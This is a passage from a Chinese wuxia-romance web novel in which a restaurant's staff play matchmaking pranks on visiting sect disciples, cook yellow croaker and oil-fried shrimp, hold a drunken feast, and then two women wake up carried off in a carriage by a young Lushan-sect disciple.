唐雪意也不是个傻子,见她心心念念的乔四方对着个姑娘笑得如此憨直,哪还能不明白是怎么回事,要不是雪窦派自小规矩教得好,她都能直接摔了筷子。气得她是吃也吃不下,不吃又觉着这么一桌子美食当真是浪费。 正当此时,趴在她身边的红锦鸡忽而动了起来,拱着鲜黄的鸡冠子摇头晃脑,还兴奋地扑腾了两下翅膀。 只见一剑眉星目身量高挑的白衣男子走进了酒楼,腰间一把长鞭真可谓是器宇轩昂,细细瞧来眉宇间竟还有几分书卷气,只不过手里还牵着另一只乖巧的红锦鸡。 “客官您里面请!”马陶陶忙得脚不沾地,头都没太抬,大声吆喝着,嗓子都有些哑了还咳嗽了两声。 “不忙,我是来找人的。”白衣男子温柔笑道,接着又开口道,“冬日时节干燥,姑娘虽忙碌也还要小心喉咙,莫要伤了肺气,我这正好带了川贝枇杷丸,若是不嫌弃可拿去尽用了。” 马陶陶这才正眼看了看说话的男人,眉眼带笑道,“多谢客官美意,但店里已经熬了冰糖梨汤,我等下喝了便好。” “陶陶姑娘不必客气,这是我师兄裴然之,他颇善医术这丸药吃了准没错。”唐雪意立马迎了上去,喜笑颜开地引见了起来。 “既是如此,那便着实谢过裴大侠了。”马陶陶接过那玉瓶道。 “不必客气,陶陶姑娘唤我然之就好。”裴然之拱手一礼。 而柜台上,乔四方用了好几年的算盘被悄无声息地捏碎了,那炖汤的梨是他特地起早去集市挑的,定是要庐州砀山梨润肺止咳最好,一点不比这白孔雀的川贝枇杷丸差! 第32章 雪菜大黄鱼 裴然之大方落座,周遭纷杂食客喧闹声此起彼伏,家长里短江湖传闻说什么的都有,而他仿佛充耳不闻,神情专注地注视着眼前咕噜咕噜的粥火锅,不停翻滚的米粒愈发软烂入味,凑近一闻鲜得能掉了眉毛。 唐雪意端坐在一旁,再不敢如往常那般没规矩,甚至都不偷瞄乔四方了,她这位大师兄待人接物如沐春风,满门上下风评极佳,可就一样规矩大得很,她往日里没少被训。 “唐师妹,倒是会找地方,这里菜确实不错。”裴然之一筷子夹起了刚烫好的薄肉片,小碗里蘸料简单只有清酱蒜蓉,再来点葱花香菜就齐了,一入口那肉片嫩如豆腐弹似蛋白,满齿皆是溢满的肉香,更绝是薄薄一片里还有着大米的妥帖落胃,一扫连日赶路的风尘仆仆,人瞬间安稳了下来。 “那是那是,我这不是为师兄师姐们踩好点嘛。”唐雪意笑出了两个小小的梨涡,雾蒙蒙的桃花眼弯成了月牙。 裴然之未置可否,再涮了半盘子青菜,盛了满满一碗粥,此时的粥早已将蛤蜊大虾的鲜美,青菜的清香还有那嫩肉片的肉香汇于此中,撒上些许盐巴胡椒粉,冬日里吃来是暖胃暖心。 “吃吧。”裴然之端到唐雪意面前道。 “多谢师兄!”唐雪意此时就算被气得没胃口,也不敢不吃啊,尝了第一口便觉出其中滋味来了,三下五除二没一会儿就全吃完了,开开心心地自己盛起第二碗来。 “我来这一路听了不少消息,听说师妹要为师父收徒了?”裴然之嘴角含笑,轻饮香茗道。 唐雪意刚端上粥碗的手不自觉地抖了两下,下意识心虚地回头看向乔四方,只听耳边声音响起,“你出来历练数月,仍是未有长进,做事毛躁识人不清,真该在后山禁闭一年半载的。” “师兄我没有识人不清,他救了我性命的,是个武功高强的好人。”唐雪意毕竟年少意气,自己被责骂也就算了,却容不得旁人说半点心上人的不好。 裴然之依旧弯起唇角笑着,眼眸中则蕴含着不易察觉的怒气,“我没说他不是好人,我只说你是落花有意流水无情。” 唐雪意被戳破了要害,梗着脖子嘴硬道,“师兄刚来怎知我们的事,我与乔大哥早已情投意合心悦彼此了。” 这话不偏不倚正好落在了在旁桌上菜的马陶陶耳中,马陶陶站都站不稳了,脑袋仿佛灌铅般沉重,心中一腔怒火无处发泄,气极攻心直直两眼一黑晕了过去。 “陶陶!”乔四方吓得赶忙跑了过来,可不巧就差一步,裴然之宽厚的臂膀接住了不断滑落的马陶陶。 此情此景宛如画中人曲中戏,市井闹市里身世清白的武林少侠出手相救,身量纤纤的少女如脆弱的蝶翼般轻颤,般配得令人心惊。 “陶陶的房间在后院。”素来不声不响的赵玉雨开口道,她赶忙带路。 裴然之不敢耽误,一路抱着马陶陶,轻放她于床榻之上,又搭脉看诊起来。这下紧皱的眉头才逐渐放缓,眼神中略带疑惑,抬头一看好家伙,这怎么小小的屋子里有这么多人。 紧跟着他身旁的是个身形魁梧的男人,正是他师妹的心上人乔大哥,乔四方脸上虽有不悦却还是焦急地问道,“裴少侠,陶陶这是怎么了?” 越过这位好似要吃了自己的乔四方,就是他那泪眼婆娑的师妹,裴然之不自觉地摇了摇头,心中暗想为了个男人哭,哭哭哭福气早晚被你哭没了。 “你摇头什么意思?陶陶到底怎么了?”乔四方急得如同热锅上的蚂蚁,一把直接薅起了裴然之的衣领子,晃得裴然之眼冒金星,差点也要躺下。 “没没没,没怎么,救命啊!”衣冠楚楚的裴然之就这么几下,头发散了衣带松了,这人哪里是个情哥哥,明明就是个手里带血的煞星,脑子里只有一个字,跑! “四方莫急,别把大夫吓晕了。”张清寒一只手看似轻轻搭在乔四方的肩膀上,却压得乔四方一下就坐到了板凳上。 乔四方这才反应过来自己的失态,他虽厌烦眼前这人,还是拱手一礼道,“裴少侠失礼了,我方才太过着急,烦请你帮忙瞧瞧陶陶怎会忽然晕倒?” “好,我再仔细把把脉。”裴然之来不及整理凌乱的自己,就赶忙换了只手把脉,这脉象沉稳有力扑通扑通强壮得很那,他此时却不敢说话了,余光一瞄桌旁坐着两位姑娘,一位是方才引路的那位,一位穿着围裙想必是厨子了。 只不过这两 人似乎并不着急,悠哉悠哉地喝起茶来,尤其是那穿着围裙的厨娘,竟然在磕瓜子,她不敢大声磕只得如松鼠般吃得两颊鼓鼓囊囊的,时不时还给引路的那位姑娘一把瓜子。 引路姑娘生怕厨娘噎着,忙倒了杯茶水给她润喉,两人相视一笑笑得甚是古怪。 裴然之心中忽然升出一丝悔意,他不该听了万家帮帮主的话就乱了阵脚,更不该紧赶慢赶地前来,那他就不会今日出现在此,更不会被身后两个武功深不可测的男人盯着,手里还有个根本看不出有病的病人。 他脑海中又闪过方才那两位姑娘古怪的笑,暗道不好,这不会是家黑店吧? 正当裴然之绝望之时,马陶陶悠悠睁开了眼开口道,“然之是你救了我吗?然之你真好。”那声音宛如黄鹂轻啼婉转多情难自抑。 “我……”裴然之一时语塞。 身后传来一声巨响,那魁梧的乔四方不管不顾地冲出了房间,甚至将那桌子生生撞出去几尺,裴然之想或许他最不该的就是嘴贱与这位陶陶姑娘搭话,还顺手将她抱到这里。 马陶陶眼见乔四方气跑了,这才慌了起来,急忙甩开裴然之的手,利落地从床榻上一跃而起,头不晕腿不麻好得跟个没事人似的。 “乔四方你跑什么啊!”两人一个跑一个追,片刻就没影了。 裴然之现下要是还看不明白,就真是个瓜怂了,他妥妥被人做局了,成为了小情侣眉来眼去闹别扭里最倒霉的工具人。 “诸位谁能解释解释这又是怎么个情况?”裴然之正了正发髻,挑眉道。 “呜呜呜呜呜。”唐雪意抽抽噎噎地在房间里嚎啕大哭起来,她那英雄救美以身相许的初恋就这么没了,连个毛都没捞着。 程六水拉着赵玉雨刚想上前乖乖认错,不曾想被张清寒抢了先道,“小店伙计们闹笑话了,裴少侠万望海涵,你与令师妹小店自知招待不周,不如今夜留下饮尽美酒,相逢一笑泯恩仇可好?” 裴然之不知眼前这人到底是何方神圣,却知断是个不可招惹的人物,心疼地看了眼小脸都哭红了师妹,只得叹气道,“戏弄我倒是不打紧,可我师妹年少单纯白白伤了心,你们又当如何?” “江陵四通八达,好吃好玩的不少,若是裴少侠不嫌弃,我等愿陪唐女侠散心解闷,只要唐女侠消气便好。”程六水上前一步道。 唐雪意咬着嘴唇哭得梨花带雨,别别扭扭道,“那我要吃雪菜大黄鱼,油爆虾还有红膏炝蟹。” 裴然之听了这些菜名心中一滞,这些菜都是他小时候带她偷摸下山去吃的,他知道师妹爱吃便攒了钱去镇上最好的馆子。转眼许多年过去,她怕是早就不记得当初是谁带她去吃的了,却还是惦记着儿时的味道。 “好好好,你想吃什么我便做什么。”程六水为了陶陶的幸福,做几顿饭简直是太容易了。 日落西山,杜少仲这厮陪着两位雪窦派的少侠去逛江陵集市去了,而程六水则在后厨忙碌着。 大黄鱼她特意挑的是那大小肥瘦适中的,若是太大煎起鱼来不容易熟,太小了鱼肉少没什么滋味,将那黄鱼处理干净后,在鱼腹两侧各划上几刀,抹上盐巴黄酒腌制片刻,一炷香的就够了。这时的黄鱼腥气早已祛除了大半,烧红的大铁锅里倒上不少油,下姜丝爆香整个后厨满是温热姜香,黄鱼下锅煎个金黄再反面煎好取出。 最关键的便是那雪菜,江陵不似江南,雪菜吃得不多,所幸程六水先前怕走南闯北的商贾们想吃上这口,于是特意备了点此时正好派上用场。铁锅里姜丝和葱段翻炒片刻,便可放入雪菜了,雪菜的咸香不一会儿就炒出来了,煎好的鱼再放回锅中,倒入滚烫的热水大火炖煮,最后再小火咕嘟咕嘟,锅盖焖个两刻钟便好。 一掀开锅盖,奶白的鱼汤鲜美异常,鱼肉软烂,撒上一丁点咸盐,就能出锅了。 张清寒推门进来时,满屋子的黄鱼雪菜香一股脑涌向他,烟雾缭绕中身着粉色衣衫的程六水正精心地将鱼汤盛入汤碗中,翠绿葱花轻撒在其中,宛若点睛之笔。 她心满意足地闻着食物的香气,嘴角微微勾起,激荡起了张清寒心中的阵阵涟漪。 第33章 油爆虾 大风渐起吹得木门吱呀吱呀响,惊起了程六水沉浸于此的心,她下意识抬头望去,只见来人一身天青罩衫难得玉带束腰,半束起的发髻更添飘逸之姿。 她这几月甚少见张清寒如此穿着,怕是只有初见时才见其面如冠玉动了心神,往后不过是在柴米油盐中渐渐熟识,反而忘了他竟也是个如此惹人眼的翩翩君子。 许是君子如玉动人心魄,程六水脱口而出道,“你今夜怎么穿这样?” 张清寒本已快走到灶台旁,听了这话竟硬生生停住,低头看了看的衣衫,似有不解却还是白着脸问道,“这样穿不好吗?” 这衣衫是他特意回去翻箱倒柜挑的,他耳力甚好自然听见今日午后程六水与赵玉雨的小声议论, “凭心而论,裴少侠生得着实不错,那眼睛更是好,瞧上一眼怕是都要温柔地溺死在里面。”程六水摸着自己的小下巴道,后半句她没说出口,裴少侠要是放在现代娱乐圈,那定是看狗都深情的大明星。 “确实不错,六水你喜欢这样的少侠吗?”赵玉雨如今头也不低了,背也不弯了,被酒楼这帮伙计带的比往日开朗许多,甚至都开始逗弄小姐妹了。 程六水倒是实诚,圆溜溜的眼睛真是陷入了沉思,随后道,“说不上喜欢,但爱美之心人皆有之,我若是能遇上个英俊潇洒玉树临风的少侠也不错。” “那东家呢?”赵玉雨调笑道。 “东家可不行!”程六水不经大脑便开口道,笃信的神情还不够,竟又摇了摇头。 站在不远处竖着耳朵偷听的张清寒瞬间后退了两步,宛如万道雷鸣砸向自己,心口处仿佛被锋利无比的石头穿透了,不行?为什么他不行?那裴然之就行吗? 从没得到回应的老陈醋不经意间发酵成了酸中发苦的味道,张清寒挪动了脚步,心凉地离开了大堂,一个人孤孤单单地走向了断口子河边。 隆冬时节,野草一簇簇地发黄,枝头上的树叶绿得发黑,江陵不似六白山,即使是至冷时节仍是有草有叶,瞧着多了不少生机。可于张清寒而言,胸中不断下坠的大窟窿是多少生机都弥补不了的,那断口子河已然有了结冰迹象,无人再在周遭垂钓。 明明数月前的深夜,他与六水相谈甚欢,那时她怎么不说自己不行了呢?现在见了新人就将他抛诸脑后了,着实是那喜新厌旧的女人。 荒草地上发出咯吱咯吱的声音,沉浸在混沌难堪思绪中的张清寒已然走到了河边,甚至快要跌落到深不见底的冰河中。 “东家!你要做什么!你可不能想不开啊!”五大三粗的乔四方一手拿着两串糖葫芦,一手拎着刚买的糖渍蜜饯就颠颠跑过来了,两个胳膊一合拢托住张清寒的腿就不撒手啊。 张清寒这才反应过来,自己那脚面明明还没沾上河水,哪里来的想不开,再看乔四方大呼小叫的样子,说实话他现在有种想把乔四方踹进河里的冲动。 “我没有要跳河,只是不小心走得有点偏了。”张清寒努力把腿从那捆得牢牢的手臂里抽出来。 正巧刚刚赶来的马陶陶瞧见了,吓得她也叫了起来,“东家你快放开四方,你是不是要把他踹进河里!” 张清寒不动了,他无奈地望了望天又望了望地,不如自己还是跳下去一了白了吧,就算不被爱而不得折磨死,早晚也得被这帮伙计折磨死。 他稳了稳心神道,“你们俩和好了?” 乔四方听了这话猛地就撒手了,不好意思地低下头道,“陶陶说只吃我买的梨,我们就去买梨去了。” “那当然了,我这个人可是很挑剔的,外面不三不四的人给得东西就算再好,也没有乔大哥给得好啊~”马陶 陶阴阳怪气道,前半句话把乔四方哄成翘嘴,后半句又暗戳戳气起来。 “我不是乔大哥,我是乔四方。”乔四方赶忙解释道。 “行吧,乔四方~”马陶陶嗔怪道,眼里皆是甜似蜜糖。 “两位行行好吧,你们旁边还有个我呢,我这么大个人看不见吗?而且你们说去买梨了,梨呢?”张清寒长叹了口气道。 “哎呀梨被我忘在王二娘了,我这就去背回来。”乔四方一拍脑袋才发觉,急急忙忙地朝着集市的方向跑去。 马陶陶本想跟着他去,这你侬我侬的年轻男女就是窗户纸还没捅破时最为黏人,一时一刻都不想分开,结果却被张清寒临时叫住。 “陶陶你在这同我一起等着吧。”张清寒轻了轻嗓子,十分不自然道。 “为什么?谁要陪你大冷天在河边吹风啊。”马陶陶仰着小脑袋理直气壮道,一双凤眼还眼巴巴瞧着跑老远的乔四方。 “我有事想请教你。”张清寒只能轻声道。 “哎呦喂你说什么呀东家,我没听清,你再说一遍。”马陶陶本就是富家小姐,被自家倒霉哥哥强行送来酒楼改造,如今有了机会,定是要故意作怪张清寒的。 “我说,我有事要请教你。”张清寒强忍着再去找棵树吊死的冲动,大声地说道。 “说吧说吧,你要请教什么?让马夫子我好好教导你一番。”马陶陶一口一个冰糖山楂道,这冰糖葫芦用的山楂又大又圆,红通通的喜庆得很,裹着的糖浆定是加了十足十的蜜糖,一口下去酸甜可口,根本停不下来了。 “我有一个朋友,他有个喜欢的姑娘,偶然间他听到了那姑娘与别人说起心仪的对象……” “你等下,偶然间听到?你那个朋友不会是偷听的吧?”马陶陶饶有兴致道,心里早就乐开了花,还我有个朋友,这不就是典型的无中生友吗?没想到叱咤武林官场的张大人还有为情所困的一天。 “不管是不是偷听,反正他就是听到那姑娘说,我那朋友不行,你说这可怎么办?”张清寒急得如热锅上的蚂蚁道。 “不行?就是那姑娘现下不喜欢你……的朋友?”马陶陶故意抻着声调道。 “……可以这么说吧。”张清寒本就摇摇欲坠的心又被捅了一刀。 “那还不简单,投其所好啊,那姑娘喜欢什么你总知道吧?”马陶陶撇了撇嘴,恨铁不成钢道。 喜欢什么?脑海中紧接着闪过,六水说过的“英俊潇洒玉树临风的少侠”,“我知道了!”张清寒激动道。 “照做不就得了,她喜欢什么你就做什么,让你摘星星也得摘下来,这不就妥了嘛。”程六水啃着个大汁多的砀山梨道,一口嘎嘣脆香好吃得很,背着一大筐的乔四方气喘吁吁地站在马陶陶身旁十分狗腿。 张清寒心想,果然是投其所好,江湖排名前几的轻功用来买梨还真是乔四方能干出来的事。 “多谢了,我这就去。”张清寒真心实意地道谢,转身就往回跑,他还说别人自己飞起来也嗖嗖的。 于是程六水的厨房里就出现了精心装扮后的张清寒,程六水闪了闪眼神道,“这样穿挺好的。”嘴角的笑根本就掉不下来,没办法食色性也,没人不喜欢看帅哥。 “我来帮你吧,还需要做什么吗?”张清寒一听也笑了,暗自心中窃喜道。 程六水眼睛一眯觉着事情有点不对,今日东家怎么又是穿新衣又是来帮自己干活的,此时他不是应该在大堂陪着雪窦派的两位侠士吗?为何跑来对自己大献殷勤? 但转念一想,免费劳动力既然送货上门了,自然没有不用的道理,笑眯眯道,“那东家帮我收拾收拾这河虾吧。” 一大筐新鲜得就差活蹦乱跳的活虾“哐当”扔到了张清寒面前,说实话张清寒的厨艺是能把所有都烤糊的程度,他对着这堆河虾根本不知要收拾什么,虾不都是捉上来然后直接扔下锅吗? 看着困惑不解皱着眉毛的张清寒,程六水竖起眉毛道,“怎么?你不愿意?” “没有没有,我愿意……我只是从未收拾过虾,你可以教我吗六水?”张清寒直愣愣地看着程六水,声音不自觉地柔软下来。 “哦。”程六水被问得心下一软,只能拿出一只虾,用剪刀剪去虾须虾脚,接着在虾背上浅浅划开一刀口子,这口子不能深到直接将虾剥了壳去,也不能浅得入不了味,得是恰到好处的深浅。 “学会了吗?”程六水教完低声问道。 “学会了,你手冷不冷?这虾泡在水里毕竟生冷,如今时气还不好。”张清寒心疼道,赶忙接过那筐虾一个一个弄了起来。 程六水瞪着眼睛瞧了瞧烧得正旺的灶火,还有屋里一左一右两个大大的炭盆,她不禁愈发困惑,今日的东家不仅奇奇怪怪,眼神竟然也不好了,这么多炭火哪里会冷,他莫不是想要磨洋工吧? “不冷,你快弄,我还等着虾下锅。”程六水一边用自己的火眼金睛监督着张清寒的一举一动,一边调起料汁来。 清酱自是不必说了,是这道菜咸淡的关键,少许清酱自带的豆香更是提味,再来些黄酒去腥,点睛之笔自然是半勺香醋,这醋加得不多不少,刚好去腥解腻还能更增河虾的风味,最后便是十足十的蔗糖。 雪窦山在江南腹地,那处口味总是赤酱浓油甜口得很,蔗糖下了锅便会紧紧裹住河虾,咸甜交叠滋味更上一层楼。 “我弄好了。”程六水调个酱汁的功夫,张清寒就手脚麻利做完道。 程六水扫了眼收拾好的河虾,只能感慨道脑子好使的人干什么都行,这虾收拾得又快又好,要不然以后让张清寒没事给自己打下手得了,现下偶尔给她打下手的杜少仲,人是好人满口文绉绉的,就是手有点不分瓣。 “干得不错。”程六水真心实意夸赞道。 简简单单四个字竟然张清寒红了脸,想当初他在朝堂上被当今圣上大加赞扬,依旧面不改色心不跳冷着一张脸,遗世独立孤傲高洁。 程六水倒没在意,还以为是屋里太热给他熏得呢,喷香的菜籽油在铁锅里滋滋作响,缕缕青烟飘起,就是这一刻三五成群的开背河虾一股脑涌进了热油锅中,刺啦一声虾子迅速从青瓜蛋子虾熟成浑身通红的样子。 大大的漏勺争分夺秒地捞出酥脆可口的油爆虾,个个金黄已是十分令人垂涎欲滴了,毕竟没人能抵抗住油炸的快乐。 但这道菜还远不止于此,程六水热油爆炒姜末葱花,煸出香味就倒入方才调好的酱汁,咕嘟咕嘟冒起小泡便放入金黄酥脆的大虾,虾身被赤酱浓油包裹着,菜籽油的香气混合着清酱白糖的咸甜,激发了河虾最鲜美的味道。 大堂里围坐在圆桌上的几人,踮着脚尖翘着脖子恨不得透过窗户掉进后厨里,本来还有些恹恹的唐雪意闻了这香味,连对面的乔四方和马陶陶都看顺眼了不少。 这位在江湖上颇有名气的唐女侠瞬间释怀了,天涯何处无芳草,老娘天下第一美,不必在不属于自己的人身上下功夫,还不如跟师兄多学几招鞭法来得实在。 裴然之闻见这诱人的香味,思绪渐渐抽离,忆起了几年前与师妹辛勤练功,闲时来打小灶的日子,没来由的静谧安乐降临在他身上,这是再多的江湖名望都抵不上的。 他转头看着嘴馋到不行的师妹,他想这份静谧安乐他不会放手了,无论如何都不会。 张清寒掀开帘子,端着雪菜大黄鱼稳稳地放在了圆桌上,而程六水则紧随其后送上了油爆虾。 一桌子菜色,江陵名菜莲藕排骨汤,糯米圆子,粉蒸肉,再加上红膏炝蟹,大黄鱼,油爆虾,简直是堪比过年了,更别提程六水是个坚定的荤素搭配守护者,又做了干煸豆角,红烧茄子,香菇青菜。 “两位少侠,今夜这桌菜就当是小店的赔礼,还请万望海涵。”张清寒开口正经道。 “张东家不必客气,方才我才知您居然是大名鼎鼎战败太白散人的张清寒张剑客,今日我师兄妹二人能 与您一同宴饮,实在是荣幸啊。“裴然之拱手一礼道。 “裴少侠多礼了,雪窦派在江湖上是不可多得的名门正派……”张清寒继续寒暄道。 程六水百无聊赖地环顾一圈,只见唐雪意盯着那盘油爆虾,口水都快流出来了,马陶陶则暗戳戳地在偷最边边的糯米圆子,而乔四方一直在那咽口水。 “东家我想说两句,情况就是这么个情况,事情就是这么个事情,好了废话不多说开吃!”程六水只得打断干净利落道。 刹那间其余几人如饿虎扑食般拿起筷子就是吃啊,裴然之看着自家师妹连虾带壳一口一个的时候,笑得甚是开怀,盛了碗莲藕排骨汤尝了一口,歪头不解又喝了口道, “这莲藕排骨汤还真是奇了,在别处喝过的汤底清亮主打一个鲜,可程姑娘做得却与众不同,这藕软糯得很,连带着排骨汤愈发醇厚了起来。” “裴少侠谬赞了,这倒不是我的功劳,而是江陵这地界的藕与别处不同,虽不清脆却格外粉糯,别有一番特色,想必你是头次来江陵吧。”程六水吃了个糯米圆子道。 “正是,我派子弟多在江南游走,只是每年冬至才北上试炼,先前我去过庐州益州,江陵还是头一遭呢。”裴然之点头道。 “哦?那今年怎会选江陵?”张清寒问道。 “实不相瞒,这江陵还真不是我派中人选的,而是庐山派掌门相邀前来,我派掌门不愿负盛情便同意了。”裴然之道。 “原是如此。”张清寒点头道,那庐山派本在江西一处,能邀别派来江陵这么个八竿子打不着的地方,也是有些渊源的。 江湖上八大名门正派,庐山派原是能拔得头筹的,可就在几年前他们的掌门忽然重病缠身,门派中人疯了一样寻医问道,访遍名山大川走遍大乾南北,仍是药石无医只是在勉强熬日子罢了。 一派之力毕竟有限,于是庐山派总是邀约各大门派寻访各地,上天入地也要求得灵药。而江陵江中相传有一灵药,七宝水运草藏于江底,百年前曾现于世,传说是蕴含天地精华的灵药,救了当时的武林至尊。 可后人无论再怎么下江寻找也从未找到,更为隐秘的传说是这七宝水运草只出现在每年寒冬时,寒冬腊月的江底饶是武功再高的人,跳下去都得剥层皮,更何况是漫无目的地大海捞针呢。 而雪窦派的独门武功,便可不费一兵一卒用鞭子探查水底,说不定几百个年轻弟子真能探着些宝贝线索。 张清寒一听便对庐山派目的了然于胸,却未点破,只是举起酒盏道,“裴少侠今日我们不醉不归。” “不醉不归。”裴然之饮尽此杯,惯是江湖儿女的豪爽大气。 今夜很长亦很短,三分酒气便卸下了这几人的防备与体面,竟开始蹦蹦跳跳胡言乱语了起来。 唐雪意最先醉的,小脸红扑扑的,一个起身就稳不住了,直直歪倒在一旁的马陶陶身上,她眼里都是重影还大声道,“别的不说,陶陶姑娘你长得还怪好看的。” “嘿嘿你也好看,你看这小脸软乎乎的跟鸡蛋糕一样。”马陶陶也好不到哪去,非但没把唐雪意扶起来,还顺便一搂公主抱了起来,不安分的小手捏着人家的脸。 乔四方正举着酒杯和裴然之哥俩好,结果一歪头就看见心上人怀里不是自己,他委屈巴巴地走三步退两步地朝着马陶陶走去,一本正经道,“你不许耍流氓!” “我没有,除非你让我也摸摸你的脸。”马陶陶伸出左手道。 “你摸你摸。”乔四方眼巴巴地凑过去,没被摸两下就甩了回来。 “不好摸还是小雪意的脸软嘿嘿。”马陶陶傻笑道。 “你的脸也好摸嘻嘻。”唐雪意笑得也没聪明到哪去,开始戳马陶陶的额头。 裴然之转过头方才和他哥俩好的乔四方好兄弟就没了,他甩了甩晕晕乎乎的脑袋,凑到杜少仲身边拍了拍他的肩膀问道,“杜老弟,你这酒真不错,就是有点晕呢。” 杜少仲就喝了半杯,尚是清醒道,“这是我最新研究酿制的烈酒,十美酒,用了十种不同的粮食酿出来的,什么大米糯米小麦红米黑米,我全用上了。” “那你怎么不多喝?你不够朋友!”裴然之拿了个大海碗就要敬杜少仲。 “我不能多喝,我喝酒吃过亏不能喝。”杜少仲想赶紧跑,结果一个腿软摔倒大酒坛子里,咕咕灌了不老少。 张清寒坐在楼梯上头靠着扶手,嘴里一直嘟囔着,“为啥我不行,我凭啥不行?你说!” 程六水迷迷糊糊地从膝盖处抬起头来,她就听着个不行,“张清寒你别说话,我思路全乱了,一天天不行的,你得阳光积极正能量。” “啥叫正能量,俺们那嘎达不说这个啊。”张清寒的六白山口音都被杜少仲酿的烈酒激出来了, “你这么说话好,这么说话有意思,这么说话肯定行!庐山我要爬庐山!”程六水懵懵地往张清寒的肩膀上靠,前言不搭后语驴唇不对马嘴。 把酒言欢一夜过去,待到太阳东升,酒楼里传来了惊天动地的一喊,“东家不好了!六水不见了!” 第34章 生命之水 北风嗷嗷吹,树杈歪歪扭扭地勉强站直了身板,而被打落的黄叶就只能七零八落地躺在泥地里,雨水催生了它们的衰败,硕大的车轮碾过碎得不成样子。 程六水努力地想要睁开眼睛,可惜昨夜喝得酒实在是太烈了,她当初就该阻止杜少仲这小子搞什么发明创造,哪有把那么多种粮食混在一起酿的,这都快成了鸡尾酒了。 人家鸡尾酒是果汁气泡水再加上点烈酒,这家伙是烈酒加烈酒,直接干成生命之水了。 只是微微眨了眨眼睛,就牵扯着了太阳穴生疼,混沌的意识拉着程六水依旧不停下坠,不愿在此时醒来。正在迷迷糊糊之际,她忽而听到耳边传来了忽远忽近的声响。 “莫师弟,长老之令不是只抓一个人吗?怎么你带回来了两个?”随着声音一同的是车子剧烈的颠簸,颠得程六水瞬间清醒了过来。 什么长老?自己又被抓来还债了吗?程六水默默地竖起耳朵偷听着。 “长老之令是让我找到画像中人带来,你看我如何分辨?”说话的人年岁听起来不大,怕是比程六水还小些,嗓音正处于少年的沙哑期,可语气倒是拽得很。 程六水悄咪咪扒开一个眼缝定睛一瞧,豁好一后现代抽象派大师杰作,眼睛是鼻子,鼻子是嘴巴。 对面之人见了这画像也是神情一滞,他只得叹了叹气道,“算了死马当活马医吧,你快快送去长老那问问,若要找的人,不是这两位姑娘,就赶紧送回去。” “师兄放心吧,我办事你放心。”这少年仰着头,如海浪般的高马尾翘起,发尾还微微被雨水打湿了。 程六水静悄悄地用眼缝察看了一圈四周,这马车很大,比她小时候看过的皇帝微服私访记里还大,莫说装下两个人就是四个也不成问题。 清幽的熏笼摆放在角落处,垂落的璎珞一摇一摆的,程六水身下是精心布置的软垫,哪怕再颠簸也不怕磕出青紫了。看到这,程六水的心总算是放下了,还好还好不是讨债的,讨债的都是让她去喂狼的,断不会如此行事。 她转头又是一看,身边躺着的另一位姑娘正是雪窦派崛起的明日之星,武功超群人缘极佳的唐雪意女侠。唐女侠呼吸平稳,甚至都打起可爱的小呼噜了,显然又是一位“生命之水”受害者。 俗话说一回生二回熟,程六水已经有了丰富的被绑经验,这回她老老实实地平躺在颠簸的鹅羽软垫之上,在胡思乱想中昏昏欲睡,时不时想着这熏香怪好闻的,她要是还能回酒楼也要去香铺子里挑一挑。 等一下!程六水终于反应过来自己忘了什么事了,她费劲巴力攒的十两八文钱去哪了!昨夜饮酒时,她没有带在身边而是藏在了卧房床榻旁的墙洞里,比被绑更难过的事情发生了,那就是有可能再也摸不到自己辛苦攒的钱了。 程六水思及此处,一伸手就扒拉醒了正睡得昏天黑地的唐雪意。 “谁啊?”唐雪意被扒拉地不厌其烦,她此时头痛欲裂恨不得给这人扔出去。 程六水没有说话,只是继续伸出手来戳唐雪意的腰间,一下子痒得唐雪意直直坐了起来,幸亏马车高大不然就得撞到头。 唐 雪意摇了摇昏沉的脑袋,刹那间便恢复了神智,手中一把握住了腰间暗藏的软鞭,往日里柔和的面孔变得警惕严肃。 她宛如从一只猫蜕变成了一只猫头鹰,除了锋利的爪牙还有宽厚的翅膀,仿佛瞬间就能带着手无缚鸡之力的程六水逃离这里,回到十全酒楼的某个墙洞里。 程六水目不转睛地望着唐雪意,满脑子都是她英姿飒爽的身影,连那严阵以待的神情都是那么靠谱如此令人心动。她坚定地点了点头,然后默默挪到了唐雪意的身后,藏在背后的手触碰着滚烫的熏笼,那里有着几块烧红的银丝炭,虽不致命但能烫死人。 “醒了?”车门外的人依旧马不停蹄地赶路,连车门都懒得打开。 “你是什么人?为什么要绑架我们?”唐雪意已然抽出了腰间的软鞭,边说着话边靠近车门,只待时机一招将此人拿下。 “我没想绑架你们,是你们非要跟我回来的,唐唐你不会不记得你昨晚对我承诺过什么吧?!”少年这回倒是急了,不管不顾地勒停了马,还不忘给疲惫的马喂根胡萝卜吃。 他“嘭”的一声推开车门,十六七岁的江湖少年郎眉清目秀,眼眉红透了偏还硬气地抬头,一声不吭地质问着“唐唐”,而少年的手里是曾常垂落在唐雪意腰间的团纹香囊。 程六水本就葡萄大的眼睛睁得不能再大了,眼前这一幕令她本就不那么清白的大脑更不清白了起来,她知道此刻自己钻进车底比较好,但真的不能再看一会儿吗? 唐雪意瞬间儍了眼,手里的鞭子都挥到半空中了,一时间是撤也不是不撤也不是。 “你竟还想用鞭子打我?原来你从来都是蒙骗我的。”少年气得浑身发抖,抿着嘴一字一句说道。 程六水只恨现在手头上没有手机,这样的画面不能录下来真是太可惜了,最好再加上个大标题“震惊!雪窦派唐女侠醉酒情伤,误骗清纯少男”。 “我……是我吗?”唐雪意心虚地低下了头,眼前这少年的脸确实有那么点眼熟,到底在哪见过呢? “你不记得了,呵你果然都不记得了,六水你说!昨夜是你见证了我们的誓言!”少年颤抖道。 程六水惊恐地望向少年,再看向唐雪意,看了好几个来回张着嘴,阿巴阿巴了半天,就差去卸车顶逃出去了。 “你也不记得了?”少年咄咄逼人道,可那摇摇欲坠的宽厚身板说不出的脆弱。 “等等你别急,我想想快想起来了!”程六水赶忙出言安抚道,这都是什么糊涂账啊怎么还和自己有关系。 荒郊野外里,三人坐在马车里大眼瞪小眼,少年稍稍稳住了情绪撇过头故意不看唐雪意,唐雪意又从猫头鹰变成了一只三花猫,不对现在连猫都当不成了,直接做老鼠吧。 程六水闭着眼睛在自己已然承载了两辈子记忆的大脑迷宫里到处敲门,敲了半天不是什么喜洋洋美洋洋,就是做完你的做你的,做完你的做他的。 直到一阵亮光突然出现在眼前,一幕幕飞快地在她眼前闪过,哦不!程六水宁愿从没想起过这些!但她不得不打破如此尴尬诡异的局面。 “你是莫年?庐山派莫年?”程六水小心询问道。 少年眼睛瞬间亮了起来道,“是,我就是,你想起来了?” 